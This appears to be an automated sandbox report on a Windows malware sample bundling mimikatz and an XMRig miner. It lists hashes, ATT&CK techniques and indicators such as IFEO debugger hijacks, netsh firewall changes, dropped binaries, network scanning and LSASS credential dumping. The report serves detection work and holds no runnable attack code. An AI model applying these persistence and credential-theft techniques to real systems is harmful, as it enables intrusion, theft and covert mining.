mimikatz | b2124afc12a8d82d106a4d85bafb72c0e2ce70b341c125a5d5907efeb17c1e2b

Analysis

max time kernel
150s
max time network
150s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
23/09/2024, 19:46

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General

Target

2024-09-23_31f6973dd7169b1777e17eabd07151a0_hacktools_icedid_mimikatz.exe
Size

8.2MB
MD5

31f6973dd7169b1777e17eabd07151a0
SHA1

7b84454f55fef5ff3bc9c6e5a9bdf05aaca0a82c
SHA256

b2124afc12a8d82d106a4d85bafb72c0e2ce70b341c125a5d5907efeb17c1e2b
SHA512

9f451957f4b6977f2a5bdf5e40663011a8a8523fe86487ae2cc53779b16339efc041fd3bd9a4755526e2baab16ed3a20733a630ac7d6688bf0a21d1de34ebde7
SSDEEP

98304:YmBtyYXmknGzZr+HdO5SEPFtmOZ9G1Md5v/nZVnivsAl0eXTBJYa5roSCaa:I6mknGzwHdOgEPHd9BbX/nivPlTXTYr

Score

10^/10

mimikatz xmrig credential_access discovery evasion execution miner persistence privilege_escalation upx

Malware Config

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002
Mimikatz
mimikatz is an open source tool to dump credentials on Windows.
mimikatz

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2452 created 324	2452	igycumm.exe	17

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig
Contacts a large (18478) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
OS Credential Dumping: LSASS Memory 1 TTPs
Malicious access to Credentials History.
credential_access

LSASS Memory
T1003.001

XMRig Miner payload 10 IoCs

miner

resource	yara_rule
behavioral1/memory/2260-191-0x000000013FB40000-0x000000013FC60000-memory.dmp	xmrig
behavioral1/memory/2260-199-0x000000013FB40000-0x000000013FC60000-memory.dmp	xmrig
behavioral1/memory/2260-233-0x000000013FB40000-0x000000013FC60000-memory.dmp	xmrig
behavioral1/memory/2260-235-0x000000013FB40000-0x000000013FC60000-memory.dmp	xmrig
behavioral1/memory/2260-236-0x000000013FB40000-0x000000013FC60000-memory.dmp	xmrig
behavioral1/memory/2260-237-0x000000013FB40000-0x000000013FC60000-memory.dmp	xmrig
behavioral1/memory/2260-249-0x000000013FB40000-0x000000013FC60000-memory.dmp	xmrig
behavioral1/memory/2260-251-0x000000013FB40000-0x000000013FC60000-memory.dmp	xmrig
behavioral1/memory/2260-253-0x000000013FB40000-0x000000013FC60000-memory.dmp	xmrig
behavioral1/memory/2260-254-0x000000013FB40000-0x000000013FC60000-memory.dmp	xmrig

mimikatz is an open source tool to dump credentials on Windows 5 IoCs

resource	yara_rule
behavioral1/memory/2060-0-0x0000000000400000-0x0000000000AA4000-memory.dmp	mimikatz
behavioral1/memory/2060-4-0x0000000000400000-0x0000000000AA4000-memory.dmp	mimikatz
behavioral1/files/0x0008000000017481-5.dat	mimikatz
behavioral1/memory/2240-9-0x0000000000400000-0x0000000000AA4000-memory.dmp	mimikatz
behavioral1/memory/2508-138-0x000000013F090000-0x000000013F17E000-memory.dmp	mimikatz

Drops file in Drivers directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	igycumm.exe
File created	C:\Windows\system32\drivers\npf.sys	wpcap.exe
File created	C:\Windows\system32\drivers\etc\hosts	igycumm.exe

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 40 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe	igycumm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe	igycumm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	igycumm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe	igycumm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	igycumm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	igycumm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	igycumm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	igycumm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe	igycumm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	igycumm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe	igycumm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\magnify.exe	igycumm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	igycumm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe	igycumm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe	igycumm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe	igycumm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\takeown.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	igycumm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	igycumm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	igycumm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mshta.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	igycumm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rundll32.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	igycumm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe	igycumm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WinSAT.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	igycumm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\icacls.exe	igycumm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\reg.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	igycumm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\at.exe	igycumm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe	igycumm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\wscript.exe	igycumm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bitsadmin.exe	igycumm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\WmiPrvSE.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	igycumm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe	igycumm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe	igycumm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cscript.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	igycumm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Regsvr32.exe	igycumm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\taskkill.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	igycumm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netsh.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	igycumm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\regini.exe	igycumm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\powershell.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	igycumm.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\perfmon.exe	igycumm.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\certutil.exe\Debugger = "C:\\Windows\\system32\\svchost.exe"	igycumm.exe

Modifies Windows Firewall 2 TTPs 2 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
1840	netsh.exe
1632	netsh.exe

Executes dropped EXE 19 IoCs

pid	Process
2240	igycumm.exe
2452	igycumm.exe
1800	wpcap.exe
1744	ivaepnbit.exe
2508	vfshost.exe
920	xohudmc.exe
1656	huzbeq.exe
1268	qwipishib.exe
2260	hcefiu.exe
544	qwipishib.exe
2516	qwipishib.exe
2528	qwipishib.exe
2748	qwipishib.exe
2204	qwipishib.exe
800	qwipishib.exe
1900	igycumm.exe
348	qwipishib.exe
1092	bucatzbai.exe
2376	igycumm.exe

Loads dropped DLL 25 IoCs

pid	Process
2668	cmd.exe
2668	cmd.exe
284	cmd.exe
1800	wpcap.exe
1800	wpcap.exe
1800	wpcap.exe
1800	wpcap.exe
1800	wpcap.exe
2544	cmd.exe
1744	ivaepnbit.exe
1744	ivaepnbit.exe
2124	cmd.exe
2124	cmd.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
2452	igycumm.exe
1144	cmd.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Looks up external IP address via web service 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
19	ifconfig.me
20	ifconfig.me

Network Share Discovery 1 TTPs
Attempt to gather information on host network.
discovery

Network Share Discovery
T1135
Creates a Windows Service
persistence

Drops file in System32 directory 12 IoCs

description	ioc	Process
File created	C:\Windows\system32\wpcap.dll	wpcap.exe
File created	C:\Windows\SysWOW64\huzbeq.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\huzbeq.exe	xohudmc.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\DDAB91A53CE5876D153BF0B6B3BA7DCE	igycumm.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\Temporary Internet Files\counters.dat	igycumm.exe
File created	C:\Windows\SysWOW64\pthreadVC.dll	wpcap.exe
File created	C:\Windows\system32\Packet.dll	wpcap.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\103621DE9CD5414CC2538780B4B75751	igycumm.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\103621DE9CD5414CC2538780B4B75751	igycumm.exe
File opened for modification	C:\Windows\SysWOW64\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\DDAB91A53CE5876D153BF0B6B3BA7DCE	igycumm.exe
File created	C:\Windows\SysWOW64\wpcap.dll	wpcap.exe
File created	C:\Windows\SysWOW64\Packet.dll	wpcap.exe

UPX packed file 33 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x000500000001a4fe-131.dat	upx
behavioral1/memory/2508-136-0x000000013F090000-0x000000013F17E000-memory.dmp	upx
behavioral1/memory/2508-138-0x000000013F090000-0x000000013F17E000-memory.dmp	upx
behavioral1/files/0x000500000001ad81-159.dat	upx
behavioral1/memory/1268-163-0x000000013F360000-0x000000013F3BB000-memory.dmp	upx
behavioral1/files/0x000500000001c6b2-167.dat	upx
behavioral1/memory/2452-168-0x0000000002EA0000-0x0000000002FC0000-memory.dmp	upx
behavioral1/memory/2260-169-0x000000013FB40000-0x000000013FC60000-memory.dmp	upx
behavioral1/memory/1268-173-0x000000013F360000-0x000000013F3BB000-memory.dmp	upx
behavioral1/memory/2452-177-0x0000000001A40000-0x0000000001A9B000-memory.dmp	upx
behavioral1/memory/544-181-0x000000013FF40000-0x000000013FF9B000-memory.dmp	upx
behavioral1/memory/2516-186-0x000000013F5B0000-0x000000013F60B000-memory.dmp	upx
behavioral1/memory/2516-188-0x000000013F5B0000-0x000000013F60B000-memory.dmp	upx
behavioral1/memory/2260-191-0x000000013FB40000-0x000000013FC60000-memory.dmp	upx
behavioral1/memory/2452-194-0x0000000001A40000-0x0000000001A9B000-memory.dmp	upx
behavioral1/memory/2528-197-0x000000013F330000-0x000000013F38B000-memory.dmp	upx
behavioral1/memory/2260-199-0x000000013FB40000-0x000000013FC60000-memory.dmp	upx
behavioral1/memory/2748-203-0x000000013F730000-0x000000013F78B000-memory.dmp	upx
behavioral1/memory/2748-206-0x000000013F730000-0x000000013F78B000-memory.dmp	upx
behavioral1/memory/2452-210-0x0000000001A40000-0x0000000001A9B000-memory.dmp	upx
behavioral1/memory/2204-213-0x000000013F390000-0x000000013F3EB000-memory.dmp	upx
behavioral1/memory/2452-216-0x0000000001A40000-0x0000000001A9B000-memory.dmp	upx
behavioral1/memory/800-220-0x000000013FA70000-0x000000013FACB000-memory.dmp	upx
behavioral1/memory/2452-228-0x0000000001640000-0x000000000169B000-memory.dmp	upx
behavioral1/memory/348-231-0x000000013F610000-0x000000013F66B000-memory.dmp	upx
behavioral1/memory/2260-233-0x000000013FB40000-0x000000013FC60000-memory.dmp	upx
behavioral1/memory/2260-235-0x000000013FB40000-0x000000013FC60000-memory.dmp	upx
behavioral1/memory/2260-236-0x000000013FB40000-0x000000013FC60000-memory.dmp	upx
behavioral1/memory/2260-237-0x000000013FB40000-0x000000013FC60000-memory.dmp	upx
behavioral1/memory/2260-249-0x000000013FB40000-0x000000013FC60000-memory.dmp	upx
behavioral1/memory/2260-251-0x000000013FB40000-0x000000013FC60000-memory.dmp	upx
behavioral1/memory/2260-253-0x000000013FB40000-0x000000013FC60000-memory.dmp	upx
behavioral1/memory/2260-254-0x000000013FB40000-0x000000013FC60000-memory.dmp	upx

Drops file in Program Files directory 3 IoCs

description	ioc	Process
File created	C:\Program Files\WinPcap\rpcapd.exe	wpcap.exe
File created	C:\Program Files\WinPcap\LICENSE	wpcap.exe
File created	C:\Program Files\WinPcap\uninstall.exe	wpcap.exe

Drops file in Windows directory 60 IoCs

description	ioc	Process
File created	C:\Windows\bpihyaqez\UnattendGC\schoedcl.xml	igycumm.exe
File created	C:\Windows\bpihyaqez\UnattendGC\specials\svschost.xml	igycumm.exe
File created	C:\Windows\bpihyaqez\UnattendGC\specials\vimpcsvc.xml	igycumm.exe
File created	C:\Windows\ywuiuctl\docmicfg.xml	igycumm.exe
File created	C:\Windows\bpihyaqez\UnattendGC\AppCapture64.dll	igycumm.exe
File created	C:\Windows\ywuiuctl\igycumm.exe	2024-09-23_31f6973dd7169b1777e17eabd07151a0_hacktools_icedid_mimikatz.exe
File created	C:\Windows\bpihyaqez\utzcbzbmz\ivaepnbit.exe	igycumm.exe
File created	C:\Windows\bpihyaqez\utzcbzbmz\wpcap.dll	igycumm.exe
File created	C:\Windows\bpihyaqez\UnattendGC\svschost.xml	igycumm.exe
File created	C:\Windows\ywuiuctl\spoolsrv.xml	igycumm.exe
File created	C:\Windows\bpihyaqez\UnattendGC\specials\schoedcl.exe	igycumm.exe
File created	C:\Windows\bpihyaqez\utzcbzbmz\bucatzbai.exe	igycumm.exe
File created	C:\Windows\bpihyaqez\UnattendGC\specials\svschost.exe	igycumm.exe
File opened for modification	C:\Windows\ywuiuctl\schoedcl.xml	igycumm.exe
File created	C:\Windows\bpihyaqez\Corporate\mimidrv.sys	igycumm.exe
File created	C:\Windows\bpihyaqez\UnattendGC\specials\libeay32.dll	igycumm.exe
File created	C:\Windows\bpihyaqez\UnattendGC\specials\ssleay32.dll	igycumm.exe
File opened for modification	C:\Windows\ywuiuctl\vimpcsvc.xml	igycumm.exe
File created	C:\Windows\bpihyaqez\UnattendGC\AppCapture32.dll	igycumm.exe
File created	C:\Windows\bpihyaqez\UnattendGC\specials\tibe-2.dll	igycumm.exe
File created	C:\Windows\bpihyaqez\UnattendGC\specials\xdvl-0.dll	igycumm.exe
File opened for modification	C:\Windows\ywuiuctl\spoolsrv.xml	igycumm.exe
File created	C:\Windows\bpihyaqez\utzcbzbmz\Packet.dll	igycumm.exe
File opened for modification	C:\Windows\ywuiuctl\docmicfg.xml	igycumm.exe
File opened for modification	C:\Windows\bpihyaqez\utzcbzbmz\Result.txt	bucatzbai.exe
File created	C:\Windows\bpihyaqez\utzcbzbmz\wpcap.exe	igycumm.exe
File created	C:\Windows\bpihyaqez\UnattendGC\specials\trfo-2.dll	igycumm.exe
File created	C:\Windows\bpihyaqez\UnattendGC\specials\zlib1.dll	igycumm.exe
File opened for modification	C:\Windows\ywuiuctl\igycumm.exe	2024-09-23_31f6973dd7169b1777e17eabd07151a0_hacktools_icedid_mimikatz.exe
File created	C:\Windows\bpihyaqez\UnattendGC\specials\coli-0.dll	igycumm.exe
File created	C:\Windows\ywuiuctl\schoedcl.xml	igycumm.exe
File created	C:\Windows\bpihyaqez\upbdrjv\swrpwe.exe	igycumm.exe
File created	C:\Windows\bpihyaqez\UnattendGC\docmicfg.xml	igycumm.exe
File created	C:\Windows\bpihyaqez\Corporate\mimilib.dll	igycumm.exe
File created	C:\Windows\bpihyaqez\UnattendGC\specials\crli-0.dll	igycumm.exe
File created	C:\Windows\bpihyaqez\UnattendGC\specials\trch-1.dll	igycumm.exe
File created	C:\Windows\bpihyaqez\UnattendGC\specials\spoolsrv.exe	igycumm.exe
File created	C:\Windows\bpihyaqez\UnattendGC\specials\docmicfg.exe	igycumm.exe
File opened for modification	C:\Windows\ywuiuctl\svschost.xml	igycumm.exe
File created	C:\Windows\bpihyaqez\UnattendGC\specials\schoedcl.xml	igycumm.exe
File created	C:\Windows\bpihyaqez\Corporate\vfshost.exe	igycumm.exe
File created	C:\Windows\ime\igycumm.exe	igycumm.exe
File created	C:\Windows\bpihyaqez\UnattendGC\specials\exma-1.dll	igycumm.exe
File created	C:\Windows\bpihyaqez\UnattendGC\specials\tucl-1.dll	igycumm.exe
File created	C:\Windows\bpihyaqez\UnattendGC\specials\ucl.dll	igycumm.exe
File created	C:\Windows\bpihyaqez\UnattendGC\vimpcsvc.xml	igycumm.exe
File created	C:\Windows\bpihyaqez\UnattendGC\specials\spoolsrv.xml	igycumm.exe
File created	C:\Windows\bpihyaqez\utzcbzbmz\ip.txt	igycumm.exe
File created	C:\Windows\bpihyaqez\UnattendGC\Shellcode.ini	igycumm.exe
File created	C:\Windows\bpihyaqez\utzcbzbmz\scan.bat	igycumm.exe
File opened for modification	C:\Windows\bpihyaqez\utzcbzbmz\Packet.dll	igycumm.exe
File created	C:\Windows\bpihyaqez\UnattendGC\specials\cnli-1.dll	igycumm.exe
File created	C:\Windows\bpihyaqez\UnattendGC\specials\vimpcsvc.exe	igycumm.exe
File created	C:\Windows\bpihyaqez\UnattendGC\spoolsrv.xml	igycumm.exe
File created	C:\Windows\ywuiuctl\vimpcsvc.xml	igycumm.exe
File created	C:\Windows\bpihyaqez\UnattendGC\specials\libxml2.dll	igycumm.exe
File created	C:\Windows\bpihyaqez\UnattendGC\specials\posh-0.dll	igycumm.exe
File created	C:\Windows\bpihyaqez\UnattendGC\specials\docmicfg.xml	igycumm.exe
File created	C:\Windows\ywuiuctl\svschost.xml	igycumm.exe
File opened for modification	C:\Windows\bpihyaqez\Corporate\log.txt	cmd.exe

Launches sc.exe 4 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1000	sc.exe
1992	sc.exe
2216	sc.exe
2012	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 51 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
